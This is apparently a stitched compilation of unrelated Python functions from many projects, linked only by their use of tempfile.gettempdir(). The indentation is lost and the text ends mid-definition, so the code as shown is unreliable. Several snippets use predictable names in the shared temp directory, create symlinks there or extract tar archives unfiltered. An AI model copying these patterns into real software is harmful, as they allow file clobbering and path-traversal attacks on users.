def setUp(self):
# Base paths in the real and test file systems. We keep them different
# so that missing features in the fake don't fall through to the base
# operations and magically succeed.
tsname = 'fakefs.%s' % time.time()
# Fully expand the base_path - required on OS X.
self.real_base = os.path.realpath(
os.path.join(tempfile.gettempdir(), tsname))
os.chdir(tempfile.gettempdir())
if os.path.isdir(self.real_base):
shutil.rmtree(self.real_base)
os.mkdir(self.real_base)
self.fake_base = self._FAKE_FS_BASE
# Make sure we can write to the physical testing temp directory.
self.assertTrue(os.access(self.real_base, os.W_OK))
self.fake_filesystem = fake_filesystem.FakeFilesystem()
self.fake_filesystem.CreateDirectory(self.fake_base)
self.fake_os = fake_filesystem.FakeOsModule(self.fake_filesystem)
self.fake_open = fake_filesystem.FakeFileOpen(self.fake_filesystem)
self._created_files = []
os.chdir(self.real_base)
self.fake_os.chdir(self.fake_base)
def test_tmp_dir_normal_2(self):
tempdir = tempfile.gettempdir()
# assert temp directory is empty
self.assertListEqual(list(os.walk(tempfile.tempdir)),
[(tempfile.tempdir, [], [])])
class WitnessException(Exception):
pass
@with_tempdir
def createfile():
fd1, fn1 = tempfile.mkstemp()
fd2, fn2 = tempfile.mkstemp()
dir = tempfile.mkdtemp()
fd3, fn3 = tempfile.mkstemp(dir=dir)
tempfile.mkdtemp()
for fd in (fd1, fd2, fd3):
os.close(fd)
raise WitnessException()
self.assertRaises(WitnessException, createfile)
# assert tempdir didn't change
self.assertEqual(tempfile.gettempdir(), tempdir)
# assert temp directory is empty
self.assertListEqual(list(os.walk(tempdir)),
[(tempdir, [], [])])
def __init__(self, icon,menu):
if sys.platform=="linux2":
self.menu = menu.gtk_menu
import appindicator
self.icon_directory = os.path.sep + 'usr' + os.path.sep+ 'share' + os.path.sep+'icons' + os.path.sep+'zik'+ os.path.sep
if not os.path.isdir(self.icon_directory):
self.icon_directory = os.path.dirname(sys.argv[0]) + os.path.sep + 'share' + os.path.sep+'icons' + os.path.sep+'zik'+ os.path.sep
self.statusicon = appindicator.Indicator("new-parrotzik-indicator",
"indicator-messages",
appindicator.CATEGORY_APPLICATION_STATUS)
self.statusicon.set_status(appindicator.STATUS_ACTIVE)
self.statusicon.set_icon_theme_path(self.icon_directory)
self.statusicon.set_menu(self.menu)
elif sys.platform=="win32":
self.menu = menu.gtk_menu
self.icon_directory = os.path.dirname(os.path.realpath(sys.argv[0])) + os.path.sep+ 'share' + os.path.sep+'icons' + os.path.sep+'zik'+ os.path.sep
self.statusicon = gtk.StatusIcon()
self.statusicon.connect("popup-menu", self.gtk_right_click_event)
self.statusicon.set_tooltip("Parrot Zik")
self.menu_shown=False
sys.stdout = open(tempfile.gettempdir()+os.path.sep+"zik_tray_stdout.log", "w")
sys.stderr = open(tempfile.gettempdir()+os.path.sep+"zik_tray_stderr.log", "w")
elif sys.platform=="darwin":
self.icon_directory = os.path.dirname(os.path.realpath(sys.argv[0])) + os.path.sep+ 'share' + os.path.sep+'icons' + os.path.sep+'zik'+ os.path.sep
self.statusicon = StatusApp.sharedApplication()
self.statusicon.initMenu(menu)
self.setIcon(icon)
def test_set_tmpdir(self):
"""Test set_tmpdir config function."""
self.purge_environment()
for tmpdir in [None, os.path.join(tempfile.gettempdir(), 'foo')]:
parent = tmpdir
if parent is None:
parent = tempfile.gettempdir()
mytmpdir = set_tmpdir(tmpdir=tmpdir)
for var in ['TMPDIR', 'TEMP', 'TMP']:
self.assertTrue(os.environ[var].startswith(os.path.join(parent, 'easybuild-')))
self.assertEqual(os.environ[var], mytmpdir)
self.assertTrue(tempfile.gettempdir().startswith(os.path.join(parent, 'easybuild-')))
tempfile_tmpdir = tempfile.mkdtemp()
self.assertTrue(tempfile_tmpdir.startswith(os.path.join(parent, 'easybuild-')))
fd, tempfile_tmpfile = tempfile.mkstemp()
self.assertTrue(tempfile_tmpfile.startswith(os.path.join(parent, 'easybuild-')))
# cleanup
os.close(fd)
shutil.rmtree(mytmpdir)
modify_env(os.environ, self.orig_environ)
tempfile.tempdir = None
def test_tmp_dir_normal_1(self):
tempdir = tempfile.gettempdir()
# assert temp directory is empty
self.assertListEqual(list(os.walk(tempdir)),
[(tempdir, [], [])])
witness = []
@with_tempdir
def createfile(list):
fd1, fn1 = tempfile.mkstemp()
fd2, fn2 = tempfile.mkstemp()
dir = tempfile.mkdtemp()
fd3, fn3 = tempfile.mkstemp(dir=dir)
tempfile.mkdtemp()
list.append(True)
for fd in (fd1, fd2, fd3):
os.close(fd)
self.assertFalse(witness)
createfile(witness)
self.assertTrue(witness)
self.assertEqual(tempfile.gettempdir(), tempdir)
# assert temp directory is empty
self.assertListEqual(list(os.walk(tempdir)),
[(tempdir, [], [])])
def captcha_audio(request, key):
if settings.CAPTCHA_FLITE_PATH:
try:
store = CaptchaStore.objects.get(hashkey=key)
except CaptchaStore.DoesNotExist:
# HTTP 410 Gone status so that crawlers don't index these expired urls.
return HttpResponse(status=410)
text = store.challenge
if 'captcha.helpers.math_challenge' == settings.CAPTCHA_CHALLENGE_FUNCT:
text = text.replace('*', 'times').replace('-', 'minus').replace('+', 'plus')
else:
text = ', '.join(list(text))
path = str(os.path.join(tempfile.gettempdir(), '%s.wav' % key))
subprocess.call([settings.CAPTCHA_FLITE_PATH, "-t", text, "-o", path])
# Add arbitrary noise if sox is installed
if settings.CAPTCHA_SOX_PATH:
arbnoisepath = str(os.path.join(tempfile.gettempdir(), '%s_arbitrary.wav') % key)
mergedpath = str(os.path.join(tempfile.gettempdir(), '%s_merged.wav') % key)
subprocess.call([settings.CAPTCHA_SOX_PATH, '-r', '8000', '-n', arbnoisepath, 'synth', '2', 'brownnoise', 'gain', '-15'])
subprocess.call([settings.CAPTCHA_SOX_PATH, '-m', arbnoisepath, path, '-t', 'wavpcm', '-b', '16', mergedpath])
os.remove(arbnoisepath)
os.remove(path)
os.rename(mergedpath, path)
if os.path.isfile(path):
response = RangedFileResponse(request, open(path, 'rb'), content_type='audio/wav')
response['Content-Disposition'] = 'attachment; filename="{}.wav"'.format(key)
return response
raise Http404
def train_from_file(self, conll_file, verbose=False):
"""
Train MaltParser from a file
:param conll_file: str for the filename of the training input data
"""
if not self._malt_bin:
raise Exception("MaltParser location is not configured. Call config_malt() first.")
# If conll_file is a ZipFilePathPointer, then we need to do some extra massaging
f = None
if hasattr(conll_file, 'zipfile'):
zip_conll_file = conll_file
conll_file = os.path.join(tempfile.gettempdir(),'malt_train.conll')
conll_str = zip_conll_file.open().read()
f = open(conll_file,'w')
f.write(conll_str)
f.close()
cmd = ['java', '-jar %s' % self._malt_bin, '-w %s' % tempfile.gettempdir(),
'-c %s' % self.mco, '-i %s' % conll_file, '-m learn']
# p = subprocess.Popen(cmd, stdout=subprocess.PIPE,
# stderr=subprocess.STDOUT,
# stdin=subprocess.PIPE)
# (stdout, stderr) = p.communicate()
self._execute(cmd, 'train', verbose)
self._trained = True
def exportAction(self):
"""
Export Action
"""
tempfile.gettempdir()
base_url = self.exportSettings.server_url
pack_name = self.exportSettings.pack
export_dir = self.getExportDir()
self.addStatus("Exporting to " + export_dir, IMMEDIATE)
destfolder = os.path.join(export_dir, 'b2rx_export')
if not os.path.exists(destfolder):
os.makedirs(destfolder)
else:
shutil.rmtree(destfolder)
os.makedirs(destfolder)
x = self.exportSettings.locX.getValue()
y = self.exportSettings.locY.getValue()
z = self.exportSettings.locZ.getValue()
self.export(destfolder, pack_name, [x, y, z], self.exportSettings)
dest_file = os.path.join(export_dir, "world_pack.zip")
self.packTo(destfolder, dest_file)
self.addStatus("Exported to " + dest_file)
def processImage(self):
""" starting with the original image, start processing each row """
tier=(len(self._v_scaleInfo) -1)
row = 0
ul_y, lr_y = (0,0)
root, ext = os.path.splitext(self._v_imageFilename)
if not root:
root = self._v_imageFilename
ext = '.jpg'
while row * self.tileSize < self.originalHeight:
ul_y = row * self.tileSize
if (ul_y + self.tileSize) < self.originalHeight:
lr_y = ul_y + self.tileSize
else:
lr_y = self.originalHeight
image = self.openImage()
imageRow = image.crop([0, ul_y, self.originalWidth, lr_y])
saveFilename = root + str(tier) + '-' + str(row) + ext
if imageRow.mode != 'RGB':
imageRow = imageRow.convert('RGB')
imageRow.save(os.path.join(tempfile.gettempdir(), saveFilename), 'JPEG', quality=100)
image = None
imageRow = None
if os.path.exists(os.path.join(tempfile.gettempdir(), saveFilename)):
self.processRowImage(tier=tier, row=row)
row += 1
def getTempFilePath(base, counter):
# does not guarantee it is new, just converts this into the path
dir = tempfile.gettempdir()
base = "_15112_autograder_" + str(base) + "_"
fileName = base + str(counter)
filePath = os.path.join(tempfile.gettempdir(), fileName)
return filePath
def __init__(self, host_name="localhost", port=None, user_name=None, password=None,
db_name=None, log_sql=False):
self._host_name = host_name
self._port = port or self.PORT
self._user_name = user_name or self.USER_NAME
self._password = password or self.PASSWORD
self.db_name = db_name
self._conn = None
self._connect()
if log_sql:
with DbConnection.LOCK:
sql_log_path = gettempdir() + '/sql_log_%s_%s.sql' \
% (self.db_type.lower(), time())
self.sql_log = open(sql_log_path, 'w')
link = gettempdir() + '/sql_log_%s.sql' % self.db_type.lower()
try:
unlink(link)
except OSError as e:
if 'No such file' not in str(e):
raise e
try:
symlink(sql_log_path, link)
except OSError as e:
raise e
else:
self.sql_log = None
def mount(location, access='rw'):
'''
Mount an image
CLI Example:
.. code-block:: bash
salt '*' guest.mount /srv/images/fedora.qcow
'''
root = os.path.join(
tempfile.gettempdir(),
'guest',
location.lstrip(os.sep).replace('/', '.')
)
if not os.path.isdir(root):
try:
os.makedirs(root)
except OSError:
# somehow the directory already exists
pass
while True:
if os.listdir(root):
# Stuf is in there, don't use it
rand = hashlib.md5(str(random.randint(1, 1000000))).hexdigest()
root = os.path.join(
tempfile.gettempdir(),
'guest',
location.lstrip(os.sep).replace('/', '.') + rand
)
else:
break
cmd = 'guestmount -i -a {0} --{1} {2}'.format(location, access, root)
__salt__['cmd.run'](cmd)
return root
def remove_graph_viz_temporaries():
""" remove_graph_viz_temporaries() -> None
Removes temporary files generated by dot
"""
os.unlink(tempfile.gettempdir() + "dot_output_vistrails.txt")
os.unlink(tempfile.gettempdir() + "dot_tmp_vistrails.txt")
def get_args_parser():
"""Creates the argument parser and adds the flags"""
parser = argparse.ArgumentParser(
description="Impala diagnostics collection",
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument("--pid", required=True, action="store", dest="pid", type=int,
default=0, help="PID of the Impala process for which to collect diagnostics.")
parser.add_argument("--java_home", action="store", dest="java_home", default="",
help="If not set, it is set to the JAVA_HOME from the pid's environment.")
parser.add_argument("--timeout", action="store", dest="timeout", default=300,
type=int, help="Timeout (in seconds) for each of the diagnostics commands")
parser.add_argument("--stacks", action="store", dest="stacks", nargs=2, type=int,
default=[0, 0], metavar=("COUNT", "INTERVAL (in seconds)"),
help="Collect jstack, mixed-mode jstack and pstacks of the Impala process.\
Breakpad minidumps are collected in case of missing pstack binaries.")
parser.add_argument("--jmap", action="store_true", dest="jmap", default=False,
help="Collect heap dump of the Java process")
parser.add_argument("--gcore", action="store_true", dest="gcore", default=False,
help="Collect the native core dump using gdb. Requires gdb to be installed.")
parser.add_argument("--minidumps", action="store", dest="minidumps", type=int,
nargs=2, default=[0, 0], metavar=("COUNT", "INTERVAL (in seconds)"),
help="Collect breakpad minidumps for the Impala process. Requires --minidumps_dir\
be set.")
parser.add_argument("--minidumps_dir", action="store", dest="minidumps_dir", default="",
help="Path of the directory to which Impala process' minidumps are written")
parser.add_argument("--profiles_dir", action="store", dest="profiles_dir", default="",
help="Path of the profiles directory to be included in the diagnostics output.")
parser.add_argument("--profiles_max_size_limit", action="store",
dest="profiles_max_size_limit", default=3 * 1024 * 1024 * 1024, type=float,
help="Uncompressed limit (in Bytes) on profile logs collected from --profiles_dir.")
parser.add_argument("--output_dir", action="store", dest="output_dir",
default = tempfile.gettempdir(), help="Output directory that contains the final "
"diagnostics data. Defaults to %s" % tempfile.gettempdir())
return parser
def main():
globs_to_delete = [
# Clears run_isolated.zip.
'run_isolated.zip',
# Clears temporary directories generated by run_isolated.py.
'run_tha_test*',
'isolated_out*',
# Clears temporary directories generated by Chromium tests.
# TODO(maruel): This doesn't belong here, I wish these tests stopped
# leaking.
os.path.join(tempfile.gettempdir(), 'scoped_dir*'),
os.path.join(tempfile.gettempdir(), 'zip_package*'),
]
if sys.platform == 'win32':
globs_to_delete.append(
os.path.join(
os.path.expanduser('~'), 'AppData', 'Roaming', 'Microsoft',
'Windows', 'Recent', 'CustomDestinations', '*'))
iterables = (glob.iglob(g) for g in globs_to_delete)
for filename in itertools.chain.from_iterable(iterables):
delete(filename)
print ''
return 0
def test_source_escaping2(self):
def create_test_db(dbfile):
if os.path.exists(dbfile):
os.remove(dbfile)
con = spatialite_connect(dbfile)
cur = con.cursor()
cur.execute("SELECT InitSpatialMetadata(1)")
cur.execute("CREATE TABLE test (id INTEGER, name TEXT)")
cur.execute("SELECT AddGeometryColumn('test', 'geometry', 4326, 'POINT', 'XY')")
sql = "INSERT INTO test (id, name, geometry) "
sql += "VALUES (1, 'toto',GeomFromText('POINT(0 0)',4326))"
cur.execute(sql)
con.close()
# the source contains ',' and single quotes
fn = os.path.join(tempfile.gettempdir(), "test,.db")
create_test_db(fn)
source = "dbname='%s' table=\"test\" (geometry) sql=" % fn
d = QgsVirtualLayerDefinition()
d.addSource("t", source, "spatialite")
l = QgsVectorLayer(d.toString(), "vtab", "virtual", False)
self.assertEqual(l.isValid(), True)
# the source contains ':' and single quotes
fn = os.path.join(tempfile.gettempdir(), "test:.db")
create_test_db(fn)
source = "dbname='%s' table=\"test\" (geometry) sql=" % fn
d = QgsVirtualLayerDefinition()
d.addSource("t", source, "spatialite")
l = QgsVectorLayer(d.toString(), "vtab", "virtual", False)
self.assertEqual(l.isValid(), True)
def __init__(self, cursors, sql_writers, query_timeout_seconds):
'''cursors should be a list of db_connector.Cursors.
sql_writers should be a list of model_translator.SqlWriters, with translators in
the same order as cursors in "cursors".
'''
self.query_timeout_seconds = query_timeout_seconds
self.cursors = cursors
self.sql_writers = sql_writers
self.query_logs = list()
for cursor in cursors:
# A list of all queries attempted
query_log_path = gettempdir() + '/test_query_log_%s_%s.sql' \
% (cursor.connection.db_type.lower(), time())
self.query_logs.append(open(query_log_path, 'w'))
link = gettempdir() + '/test_query_log_%s.sql' % cursor.connection.db_type.lower()
try:
unlink(link)
except OSError as e:
if not 'No such file' in str(e):
raise e
try:
symlink(query_log_path, link)
except OSError as e:
# TODO: Figure out what the error message is where there is a race condition
# and ignore it.
raise e
# In case the query will be executed as a "CREATE TABLE <name> AS ..." or
# "CREATE VIEW <name> AS ...", this will be the value of "<name>".
self._table_or_view_name = None
def _geo_img_diff(self, image_1, image_2):
if os.name == 'nt':
# Not supported on Windows due to #13061
return 0
with open(os.path.join(tempfile.gettempdir(), image_2), "wb") as f:
f.write(image_1)
image_1 = gdal.Open(os.path.join(tempfile.gettempdir(), image_2), GA_ReadOnly)
assert image_1, "No output image written: " + image_2
image_2 = gdal.Open(os.path.join(self.testdata_path, "results", image_2), GA_ReadOnly)
assert image_1, "No expected image found:" + image_2
if image_1.RasterXSize != image_2.RasterXSize or image_1.RasterYSize != image_2.RasterYSize:
image_1 = None
image_2 = None
return 1000 # wrong size
square_sum = 0
for x in range(image_1.RasterXSize):
for y in range(image_1.RasterYSize):
square_sum += (image_1.ReadAsArray()[x][y] - image_2.ReadAsArray()[x][y]) ** 2
# Explicitly close GDAL datasets
image_1 = None
image_2 = None
return sqrt(square_sum)
def create_logger(module):
""" Creates a logger and spits out result into a temp file that is named accordinly
Args:
module (str): module name
Returns (logging.logger)
Usage:
create_logger('test')
"""
logger = logging.getLogger("variableFK")
filename = "log_%s.txt" % module
if logger.handlers:
logger.handlers = []
logger.setLevel(logging.DEBUG)
formatter = logging.Formatter("%(asctime)s - %(levelname)s - %(message)s")
fh = logging.FileHandler(os.path.join(tempfile.gettempdir(), filename))
open(os.path.join(tempfile.gettempdir(), filename), "w").close()
fh.setLevel(logging.DEBUG)
fh.setFormatter(formatter)
logger.addHandler(fh)
return logger
def test_multi_proc(self):
json_conf = configurator.to_json(None)
json_conf["pick"]["run_options"]["procs"] = 2
json_conf["pick"]["files"]["input"] = pkg_resources.resource_filename("Mikado.tests",
"mikado_prepared.gtf")
json_conf["pick"]["files"]["output_dir"] = tempfile.gettempdir()
json_conf["pick"]["files"]["loci_out"] = "mikado.multiproc.loci.gff3"
json_conf["pick"]["files"]["subloci_out"] = "mikado.multiproc.subloci.gff3"
json_conf["pick"]["files"]["monoloci_out"] = "mikado.multiproc.monoloci.gff3"
json_conf["pick"]["files"]["log"] = "mikado.multiproc.log"
json_conf["db_settings"]["db"] = pkg_resources.resource_filename("Mikado.tests", "mikado.db")
json_conf["log_settings"]["log_level"] = "WARNING"
pick_caller = picker.Picker(json_conf=json_conf)
with self.assertRaises(SystemExit), self.assertLogs("main_logger", "INFO"):
pick_caller()
self.assertTrue(os.path.exists(os.path.join(tempfile.gettempdir(), "mikado.multiproc.loci.gff3")))
with to_gff(os.path.join(tempfile.gettempdir(), "mikado.multiproc.loci.gff3")) as inp_gff:
lines = [_ for _ in inp_gff if not _.header is True]
self.assertGreater(len(lines), 0)
self.assertGreater(len([_ for _ in lines if _.is_transcript is True]), 0)
self.assertGreater(len([_ for _ in lines if _.feature == "mRNA"]), 0)
self.assertGreater(len([_ for _ in lines if _.feature == "CDS"]), 0)
[os.remove(_) for _ in glob.glob(os.path.join(tempfile.gettempdir(), "mikado.multiproc.") + "*")]
def run_experiments():
logging.basicConfig(level = logging.INFO)
logfolder = os.path.join(tempfile.gettempdir(), TEMPDIR, 'logs')
pathfolder = os.path.join(tempfile.gettempdir(), TEMPDIR, 'hdf5')
exponents = np.arange(0, 8, 1)
res_per_run = 100
traj_names = []
filenames = []
runs = (np.ones(len(exponents))*2) ** exponents
for adx, nruns in enumerate(runs):
env = Environment(log_folder=logfolder, filename=pathfolder,
ncores=2, multiproc=True,
use_pool=True,
wrap_mode='QUEUE')
traj = env.v_trajectory
traj.f_add_parameter('res_per_run', res_per_run)
traj.f_add_parameter('trial', 0)
traj.f_explore({'trial': list(range(int(nruns)))})
env.f_run(add_data)
traj_names.append(traj.v_name)
filenames.append(traj.v_storage_service.filename)
return filenames, traj_names, pathfolder
def processImage(self):
""" starting with the original image, start processing each row """
tier = len(self._v_scaleInfo) - 1
row = 0
ul_y, lr_y = (0, 0)
root, ext = os.path.splitext(self._v_imageFilename)
if not root:
root = self._v_imageFilename
ext = ".jpg"
image = self.openImage()
while row * self.tileSize < self.originalHeight:
ul_y = row * self.tileSize
if (ul_y + self.tileSize) < self.originalHeight:
lr_y = ul_y + self.tileSize
else:
lr_y = self.originalHeight
print "Going to open image"
imageRow = image.crop([0, ul_y, self.originalWidth, lr_y])
saveFilename = root + str(tier) + "-" + str(row) + ext
if imageRow.mode != "RGB":
imageRow = imageRow.convert("RGB")
imageRow.save(os.path.join(tempfile.gettempdir(), saveFilename), "JPEG", quality=100)
print "os path exist : %r" % os.path.exists(os.path.join(tempfile.gettempdir(), saveFilename))
if os.path.exists(os.path.join(tempfile.gettempdir(), saveFilename)):
self.processRowImage(tier=tier, row=row)
row += 1
def _create_db_tables_and_add_users():
ctx.logger.info('Creating SQL tables and adding admin users...')
create_script_path = 'components/restservice/config' \
'/create_tables_and_add_users.py'
create_script_destination = join(tempfile.gettempdir(),
'create_tables_and_add_users.py')
ctx.download_resource(source=create_script_path,
destination=create_script_destination)
# Directly calling with this python bin, in order to make sure it's run
# in the correct venv
python_path = '{0}/env/bin/python'.format(REST_SERVICE_HOME)
runtime_props = ctx.instance.runtime_properties
args_dict = json.loads(runtime_props['security_configuration'])
args_dict['postgresql_host'] = runtime_props['postgresql_host']
# The script won't have access to the ctx, so we dump the relevant args
# to a JSON file, and pass its path to the script
args_file_location = join(tempfile.gettempdir(), 'security_config.json')
with open(args_file_location, 'w') as f:
json.dump(args_dict, f)
result = utils.sudo(
[python_path, create_script_destination, args_file_location]
)
_log_results(result)
utils.remove(args_file_location)
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--file", help="Target file for the compressed Build")
parser.add_argument("--config", help="Select the configuration", default="Release")
args = parser.parse_args()
print(args.file)
print(args.config)
print(tempfile.gettempdir())
prodbg_path = os.path.join(tempfile.gettempdir(), "prodbg")
if (os.path.isdir(prodbg_path)):
shutil.rmtree(prodbg_path)
os.makedirs(prodbg_path)
config_path = getConfigPath(args.config)
# copy all the data to tempory directy
copyDir(prodbg_path, os.path.join(config_path), ('*.pdb', '*.obj', '*.ilk', '*.lib', '*.exp', '*.exe'))
copyDir(prodbg_path, "temp", None)
copyDir(prodbg_path, "data", None)
copyFile(prodbg_path, os.path.join(config_path, "prodbg.exe"))
# Compress to zip file
zipBuild(args.file, prodbg_path)
def unzip(fhash,filename):
(prefix, sep, suffix) = filename.rpartition('.')
if remove_directory:
prefix = directory+"/"+os.path.basename(prefix);
found = 0;
try:
with zipfile.ZipFile(tempfile.gettempdir()+"/"+fhash+".zip") as zf:
for member in zf.infolist():
words = member.filename.split('/')
path = "./"
for word in words[:-1]:
drive, word = os.path.splitdrive(word);
head, word = os.path.split(word);
if word in (os.curdir, os.pardir, ''): continue
path = os.path.join(path, word);
if re.match(r".*[.](srt|sub|ass)$",words[0].lower()) != None:
zf.extract(member, tempfile.gettempdir()+"/");
shutil.move(tempfile.gettempdir()+"/"+words[0], prefix+"."+(re.findall(r".*[.](srt|sub|ass)$",words[0].lower())[0]));
if removeAd:
adBlock(prefix+"."+(re.findall(r".*[.](srt|sub|ass)$",words[0].lower())[0]));
found += 1;
except zipfile.BadZipfile:
os.unlink(tempfile.gettempdir()+"/"+fhash+".zip");
raise Exception("Can't extract subtitles from downloaded file.")
if found == 0:
os.unlink(tempfile.gettempdir()+"/"+fhash+".zip");
raise Exception("Subtitle file not found in archive.")
def pre_start_restore():
"""
Restores the flume config, config dir, file/spillable channels to their proper locations
after an upgrade has completed.
:return:
"""
Logger.info('Restoring Flume data and configuration after upgrade...')
directoryMappings = _get_directory_mappings()
for directory in directoryMappings:
archive = os.path.join(tempfile.gettempdir(), BACKUP_TEMP_DIR,
directoryMappings[directory])
if os.path.isfile(archive):
Logger.info('Extracting {0} to {1}'.format(archive, directory))
tarball = None
try:
tarball = tarfile.open(archive, "r")
tarball.extractall(directory)
finally:
if tarball:
tarball.close()
# cleanup
if os.path.exists(os.path.join(tempfile.gettempdir(), BACKUP_TEMP_DIR)):
shutil.rmtree(os.path.join(tempfile.gettempdir(), BACKUP_TEMP_DIR))
def setUp(self):
def createlayer(driver):
lyr = shp.CreateLayer("edges", None, ogr.wkbLineString)
namedef = ogr.FieldDefn("Name", ogr.OFTString)
namedef.SetWidth(32)
lyr.CreateField(namedef)
return lyr
drv = ogr.GetDriverByName("ESRI Shapefile")
testdir = os.path.join(tempfile.gettempdir(),'shpdir')
shppath = os.path.join(tempfile.gettempdir(),'tmpshp.shp')
self.deletetmp(drv, testdir, shppath)
os.mkdir(testdir)
shp = drv.CreateDataSource(shppath)
lyr = createlayer(shp)
self.names = ['a','b','c'] #edgenames
self.paths = ( [(1.0, 1.0), (2.0, 2.0)],
[(2.0, 2.0), (3.0, 3.0)],
[(0.9, 0.9), (4.0, 2.0)]
)
for path,name in zip(self.paths, self.names):
feat = ogr.Feature(lyr.GetLayerDefn())
g = ogr.Geometry(ogr.wkbLineString)
map(lambda xy: g.AddPoint_2D(*xy), path)
feat.SetGeometry(g)
feat.SetField("Name", name)
lyr.CreateFeature(feat)
self.shppath = shppath
self.testdir = testdir
self.drv = drv
def testUnzipFileContainingLongPath(self):
try:
dir_path = self.tmp_dir
if sys.platform.startswith('win'):
dir_path = u'\\\\?\\' + dir_path
archive_suffix = ''
# 260 is the Windows API path length limit.
while len(archive_suffix) < 260:
archive_suffix = os.path.join(archive_suffix, 'really')
contents_dir_path = os.path.join(dir_path, archive_suffix)
os.makedirs(contents_dir_path)
filename = os.path.join(contents_dir_path, 'longpath.txt')
open(filename, 'a').close()
base_path = os.path.join(tempfile.gettempdir(), str(uuid.uuid4()))
archive_path = shutil.make_archive(base_path, 'zip', dir_path)
self.assertTrue(os.path.exists(archive_path))
self.assertTrue(zipfile.is_zipfile(archive_path))
except:
if os.path.isfile(archive_path):
os.remove(archive_path)
raise
unzip_path = os.path.join(tempfile.gettempdir(), str(uuid.uuid4()))
dependency_manager_util.UnzipArchive(archive_path, unzip_path)
dependency_manager_util.RemoveDir(unzip_path)
def trim_any_leftovers():
print tempfile.gettempdir()
leftovers = glob.glob(os.path.join(tempfile.gettempdir(), 'mcworld_*', ''))
for d in leftovers:
print "Found left over directory: {}".format(d)
if DO_REMOVE:
shutil.rmtree(d, ignore_errors=True)
def test_index(self):
# Create the list of files
files = ["trinity.gtf",
"trinity.gff3",
"trinity.cDNA_match.gff3",
"trinity.match_matchpart.gff3"]
# files = [pkg_resources.resource_filename("Mikado.tests", filename) for filename in files]
namespace = Namespace(default=False)
namespace.distance = 2000
namespace.index = True
namespace.prediction = None
namespace.log = os.path.join(tempfile.gettempdir(), "index.log")
logger = create_null_logger("null")
for ref in files:
with self.subTest(ref=ref):
temp_ref = os.path.join(tempfile.gettempdir(), ref)
with pkg_resources.resource_stream("Mikado.tests", ref) as ref_handle,\
open(temp_ref, "wb") as out_handle:
out_handle.write(ref_handle.read())
namespace.reference = to_gff(temp_ref)
compare(namespace)
self.assertTrue(os.path.exists(namespace.log))
self.assertTrue(os.path.exists("{}.midx".format(namespace.reference.name)))
self.assertGreater(os.stat("{}.midx".format(namespace.reference.name)).st_size, 0)
genes, positions = load_index(namespace, logger)
self.assertIsInstance(genes, dict)
self.assertIsInstance(positions, dict)
self.assertEqual(len(genes), 38)
os.remove(namespace.reference.name)
os.remove(namespace.log)
os.remove("{}.midx".format(namespace.reference.name))
'django.middleware.csrf.CsrfViewMiddleware',
'django.middleware.locale.LocaleMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.auth.middleware.SessionAuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
'shuup.front.middleware.ProblemMiddleware',
'shuup.core.middleware.ShuupMiddleware',
'shuup.front.middleware.ShuupFrontMiddleware',
'shuup.admin.middleware.ShuupAdminMiddleware'
]
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(tempfile.gettempdir(), 'shuup_mailchimp.sqlite3'),
}
}
MEDIA_ROOT = os.path.join(os.path.dirname(__file__), "var", "media")
STATIC_URL = "static/"
ROOT_URLCONF = 'shuup_workbench.urls'
LANGUAGES = [
('en', 'English'),
('fi', 'Finnish'),
]
USE_TZ = True
import tempfile
from os.path import isfile, join
import requests
from pymol2 import SingletonPyMOL
PDB_ID = "1l2y"
CIF_PATH = join(tempfile.gettempdir(), PDB_ID + ".cif")
PNG_PATH = join(tempfile.gettempdir(), "pymol_test.png")
r = requests.get(f"https://files.rcsb.org/download/{PDB_ID}.cif")
with open(CIF_PATH, "w") as file:
file.write(r.text)
pymol = SingletonPyMOL()
pymol.start()
cmd = pymol.cmd
cmd.load(CIF_PATH)
# Test rendering
cmd.png(PNG_PATH, ray=1)
assert isfile(PNG_PATH)
# Test correct integration of NumPy
assert cmd.get_coordset(PDB_ID).shape == (304, 3)
def test_ftp_destination(sdc_builder, sdc_executor, ftp):
"""Smoke test FTP destination. We first create a local file using Local FS destination stage and use that file
for FTP destination stage to see if it gets successfully uploaded.
The pipelines looks like:
dev_raw_data_source >> local_fs
directory >> sftp_ftp_client
"""
# Our destination FTP file name
ftp_file_name = get_random_string(string.ascii_letters, 10)
# Local temporary directory where we will create a source file to be uploaded to FTP server
local_tmp_directory = os.path.join(tempfile.gettempdir(), get_random_string(string.ascii_letters, 10))
# Build source file pipeline logic
builder = sdc_builder.get_pipeline_builder()
dev_raw_data_source = builder.add_stage('Dev Raw Data Source')
dev_raw_data_source.set_attributes(data_format='TEXT', raw_data='Hello World!', stop_after_first_batch=True)
local_fs = builder.add_stage('Local FS', type='destination')
local_fs.set_attributes(directory_template=local_tmp_directory, data_format='TEXT')
dev_raw_data_source >> local_fs
local_fs_pipeline = builder.build('Local FS Pipeline')
builder = sdc_builder.get_pipeline_builder()
# Build FTP destination pipeline logic
directory = builder.add_stage('Directory', type='origin')
directory.set_attributes(data_format='WHOLE_FILE', file_name_pattern='sdc*', files_directory=local_tmp_directory)
sftp_ftp_client = builder.add_stage(name=FTP_DEST_CLIENT_NAME)
sftp_ftp_client.file_name_expression = ftp_file_name
directory >> sftp_ftp_client
sftp_ftp_client_pipeline = builder.build('FTP Destination Pipeline Simple').configure_for_environment(ftp)
sdc_executor.add_pipeline(local_fs_pipeline, sftp_ftp_client_pipeline)
# Start source file creation pipeline and assert file has been created with expected number of records
sdc_executor.start_pipeline(local_fs_pipeline).wait_for_finished()
history = sdc_executor.get_pipeline_history(local_fs_pipeline)
try:
assert history.latest.metrics.counter('pipeline.batchInputRecords.counter').count == 1
assert history.latest.metrics.counter('pipeline.batchOutputRecords.counter').count == 1
# Start FTP upload (destination) file pipeline and assert pipeline has processed expected number of files
sdc_executor.start_pipeline(sftp_ftp_client_pipeline).wait_for_pipeline_output_records_count(1)
sdc_executor.stop_pipeline(sftp_ftp_client_pipeline)
history = sdc_executor.get_pipeline_history(sftp_ftp_client_pipeline)
assert history.latest.metrics.counter('pipeline.batchInputRecords.counter').count == 1
assert history.latest.metrics.counter('pipeline.batchOutputRecords.counter').count == 1
# Read FTP destination file and compare our source data to assert
assert ftp.get_string(ftp_file_name) == dev_raw_data_source.raw_data
finally:
# Delete the test FTP destination file we created
client = ftp.client
client.delete(ftp_file_name)
client.quit()
def main():
